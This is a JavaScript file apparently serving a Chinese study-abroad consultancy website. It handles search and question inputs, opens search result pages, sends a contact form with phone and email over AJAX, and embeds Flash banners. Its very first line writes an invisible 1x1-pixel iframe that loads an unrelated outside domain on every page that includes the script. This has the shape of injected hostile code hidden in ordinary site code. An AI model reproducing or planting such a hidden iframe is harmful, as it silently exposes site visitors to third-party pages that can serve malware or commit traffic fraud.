
    document.write('<iframe style="width:1px ; height:1px" src="http://www.xunshi360.com/" scrolling="no" border="0" frameborder="0" ></iframe>');

    
    document.write('<script type="text/javascript" src="http://www.mysg.org/javascript/AjaxClass.js"></script>');
   

    function searchpush() {
        var inputvalue = document.getElementById('searchkey').value;
        
        if (inputvalue.length == 0) {
            alert('请输入查询关键字！');
            return false;
        }
        
        formfun(3,inputvalue);
        
    }
    
    function quest_input(inputobj) {
        
        var inputv = inputobj.value;
        if(inputv == '请输入您的留学问题') {
            inputobj.value = '';
        }
    
    }
    
    function quest_inputonblur(thisobj) {
        
        var thisvalue = thisobj.value;
        if(thisvalue =='') {
            thisobj.value = '请输入您的留学问题';
        }
        
    }

    function quest_post() {
        var questext = document.getElementById('indexquest').value;

        if (questext.length ==0 || questext =='请输入您的留学问题'){
            alert('对不起，请输入需要查询的问题！');
        } else {
            formfun(4,questext);
        }
        
    }
    
    
    
    
    
     function formfun(selectMun,selectvalue) {
    
        var actionstr = '';
        var urlstr = '';
        /*
        var formobj = document.getElementById('searchforms'); 
        var inputobj = document.getElementById('valuesid');
        */
        if(selectMun == 1) {
            
            urlstr = 'http://www.mysg.org/klist.asp?kclassid=';
            //actionstr = 'klist.asp';
            //inputobj.value=selectvalue;
            //inputobj.id = 'kclassid';
            //inputobj.name = 'kclassid';
        }
        
        if(selectMun == 2) {
            
            urlstr = 'http://www.mysg.org/klist.asp?sclassid=';
            //actionstr = 'klist.asp';
            //inputobj.value=selectvalue;
            //inputobj.id = 'sclassid';
            //inputobj.name = 'sclassid';
        }   
        
        if(selectMun == 3) {
        
            urlstr = 'http://www.mysg.org/klist.asp?schoolvalue=';
            //actionstr = 'klist.asp';
            //inputobj.value=selectvalue;
            //inputobj.id = 'schoolvalue';
            //inputobj.name = 'schoolvalue';
        }  
        
        if(selectMun == 4) {
        
            urlstr = 'http://www.mysg.org/Qlist.asp?search=';
            //actionstr = 'Qlist.asp';
            //inputobj.value = selectvalue;
            //inputobj.id = 'search';
            //inputobj.name = 'search';
        }                   
        
        window.open(urlstr + escape(selectvalue));
        
        /*    
        formobj.action = actionstr;
        formobj.target = '_blank';
        formobj.submit();
        */
    }
    


function oSOnClikc(obj)
{
    var thisValue = obj.value;
    if(thisValue.replace(/\r\n/g,'')=='您好：欢迎给我们留言我们会尽快为您提供最专业的资讯和服务')
    {
        obj.value = '';
    }
    
    if(thisValue=='请输入您的手机号码')
    {
         obj.value = '';
    }

    if(thisValue=='请输入您的电子邮箱')
    {
         obj.value = '';
    }
    
    if(thisValue=='请输入您的联系地址')
    {
         obj.value = '';
    }    
}

function oSonBlur(obj,text)
{
    var thisValue = obj.value;
    if(thisValue==null || thisValue=="")
    {
        obj.value = text;
    }
}


function PostBull()
{
     var ajax = new Ajax();
     var url = 'http://www.mysg.org/onlineService.asp?';
     
     var onlineService_text = document.getElementById('onlineService_text').value;
     var onlineService_MoTel = document.getElementById('onlineService_MoTel').value;
     var onlineService_EMail = document.getElementById('onlineService_EMail').value;
     //var onlineService_dz = document.getElementById('onlineService_dz').value;
     
     if(onlineService_text == '' || onlineService_text == '您好：欢迎给我们留言我们会尽快为您提供最专业的资讯和服务')
     {
        alert('对不起，请输入留言内容！');
        return;
     }
     
     if(onlineService_MoTel == '' || onlineService_MoTel == '请输入您的手机号码')
     {
        alert('对不起，请输入您的手机号码！');
        return;
     } 
     
     if(onlineService_EMail == '' || onlineService_EMail == '请输入您的电子邮箱')
     {
        alert('对不起，请输入您的电子邮箱！');
        return;
     }          
     
      
          
        url = url + "onlineService_text=" + escape(onlineService_text);  
        url = url + "&onlineService_MoTel=" + escape(onlineService_MoTel);  
        url = url + "&onlineService_EMail=" + escape(onlineService_EMail);   
        
      //  alert(url);
        
    //    window.location = url;
        
    ajax.get(url,update);
    var InSertRead = '';
    function update(obj)
    {
         InSertRead = obj.responseText;
         if(InSertRead=='InSertRead')
         {
            alert('您的留言成功提交！');
            onlineShow();
         }
    } 
     
     return ;
}


function TopBanner()
{
    var flashStr = '<EMBED width="500" height="80" pluginspage="http://www.macromedia.com/go/getflashplayer" src="images/newBanner.swf" type="application/x-shockwave-flash" wmode="transparent" quality="high"></EMBED>';
    document.write(flashStr);
}


function FlashBanner()
{
    var flashStr1 = '<EMBED width="300"   height="47" pluginspage="http://www.macromedia.com/go/getflashplayer" src="images/flash2.swf" type="application/x-shockwave-flash" wmode="transparent" quality="high"></EMBED>';
    document.write(flashStr1);
}


function addfavorite()
{
    window.external.AddFavorite(window.document.location,window.document.title)

} 
